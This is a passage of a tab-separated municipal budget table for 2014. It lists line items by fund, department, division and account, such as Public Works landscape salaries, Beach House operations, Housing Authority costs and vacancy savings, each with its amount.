7894	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2014	900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900.0
7895	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1897.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1897.0
7896	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	6318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6318.0
7897	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	37395.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37395.0
7898	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2267.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2267.0
7899	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	18890.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18890.0
7900	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	5922.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5922.0
7901	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	236630.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	236630.0
7902	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	48418.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48418.0
7903	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	40141.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40141.0
7904	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	18129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18129.0
7905	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	15750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15750.0
7906	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	2640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2640.0
7907	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2437.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2437.0
7908	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522610.0	EQUIPMENT RENTAL	808.0	 Supplies and Expenses	2014	3190.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3190.0
7909	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900.0
7910	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	161000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	161000.0
7911	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2014	-123600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-123600.0
7912	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
7913	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	22563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22563.0
7914	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	165000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	165000.0
7915	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	408580.0	ALARM REGISTRATION FEE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7916	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT ADMIN	910.0	 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
7917	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	569300.0	BIKE VALET-PICO LIBRARY	816.0	 Supplies and Expenses	2014	9567.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9567.0
7918	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	5249.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5249.0
7919	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7920	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400140.0	UTILITIES USERS TAX	606.0	Other Local Taxes	2014	-32011000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32011000.0
7921	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7922	BA	IS	20	Miscellaneous Grants Fund	130	FINANCE	221	ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7923	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2014	278875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278875.0
7924	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-1489.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1489.0
7925	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	509.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	509.0
7926	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
7927	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405090.0	CITY YARDS LEASE	618.0	Rentals	2014	-1433025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1433025.0
7928	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405580.0	GILLETTE SETTLEMENT	622.0	Other	2014	-2433175.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2433175.0
7929	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	2742.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2742.0
7930	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579260.0	INTERNET/WWW SERVICES	804.0	 Supplies and Expenses	2014	31000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31000.0
7931	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401780.0	PICNIC AREA PERMITS	612.0	Charges for Service	2014	-10667.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10667.0
7932	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511748.0	DENTAL	816.0	Salaries and Wages	2014	17434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17434.0
7933	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		EAP	816.0	Salaries and Wages	2014	1762.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1762.0
7934	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		DCAP	816.0	Salaries and Wages	2014	1188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1188.0
7935	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800.0
7936	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
7937	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
7938	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	4500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4500.0
7939	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		CAPITAL GRANTS-MISC PROJ-ARRA	657.0	Capital Grants	2014	-2486491.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2486491.0
7940	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7941	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	627.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	627.0
7942	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	6150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6150.0
7943	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567220.0	PFA 2011A (PKG ST 6)	910.0	 Supplies and Expenses	2014	2667131.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2667131.0
7944	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409080.0	ADULT SOCCER LEAGUE	612.0	Charges for Service	2014	-245999.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-245999.0
7945	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	24947.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24947.0
7946	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	107368.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107368.0
7947	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2014	6400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6400.0
7948	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	99146.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99146.0
7949	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
7950	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-27678.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27678.0
7951	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	2374.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2374.0
7952	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	1600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1600.0
7953	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	1600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1600.0
7954	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2014	235325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	235325.0
7955	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	72000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72000.0
7956	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	396768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	396768.0
7957	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	57189.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57189.0
7958	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2014	82000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	82000.0
7959	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1277.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1277.0
7960	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	671.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	671.0
7961	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561118.0	STEP UP ON 2ND SNCTURY-PROP A	808.0	 Supplies and Expenses	2014	2600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2600.0
7962	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408540.0	MULTI MODAL TRAVEL & PARKING	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7963	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1700.0
7964	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	22519.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22519.0
7965	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	3253.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3253.0
7966	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	114800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	114800.0
7967	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7968	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	6150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6150.0
7969	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	1860.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1860.0
7970	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	86795.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	86795.0
7971	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	127316.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	127316.0
7972	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	119240.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	119240.0
7973	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	717525.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	717525.0
7974	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511490.0	OVERTIME	816.0	Salaries and Wages	2014	1048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1048.0
7975	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	10100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10100.0
7976	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511748.0	DENTAL	816.0	Salaries and Wages	2014	12115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12115.0
7977	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
7978	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-7816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7816.0
7979	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DCAP	816.0	Salaries and Wages	2014	912.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	912.0
7980	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7981	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577341.0	SECT 8 HSG-PORTS	816.0	 Supplies and Expenses	2014	88100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88100.0
7982	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	9232.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9232.0
7983	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	7117.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7117.0
7984	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	27214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27214.0
7985	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7986	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571110.0	S+C HAP SUO2	816.0	 Supplies and Expenses	2014	64240.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64240.0
7987	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404771.0	PROP C LR-BIKE TRANSIT CENTER	610.0	Intergovernmental	2014	-25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25625.0
7988	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-22251.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22251.0
7989	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-200059.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200059.0
7990	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-37003.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37003.0
7991	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-28830.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-28830.0
7992	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-27639.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27639.0
7993	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-49244.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-49244.0
7994	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-90105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90105.0
7995	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-97800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-97800.0
7996	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544013.0	CARTRIDGE FILTER REPLACEMENT	808.0	 Supplies and Expenses	2014	53993.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	53993.0
7997	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2014	51819.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51819.0
7998	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	840.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	840.0
7999	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	725.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	725.0
8000	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2014	150000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150000.0
8001	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401950.0	BLANKET UTILITY PERMITS	612.0	Charges for Service	2014	-33000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-33000.0
8002	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404690.0	415 PCH - PARKING	612.0	Charges for Service	2014	-438250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-438250.0
8003	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-246355.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-246355.0
8004	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-38020.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-38020.0
8005	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EAP	804.0	Salaries and Wages	2014	826.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	826.0
8006	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	77872.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77872.0
8007	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325.0
8008	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2014	3467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3467.0
8009	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545020.0	CULTURAL PROGRAMMING	810.0	 Supplies and Expenses	2014	100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100000.0
8010	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	128618.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	128618.0
8011	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2014	315712.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	315712.0
8012	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533214.0	FAC MAINT-REPAIRS-HIST SAVINGS	810.0	 Supplies and Expenses	2014	126000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	126000.0
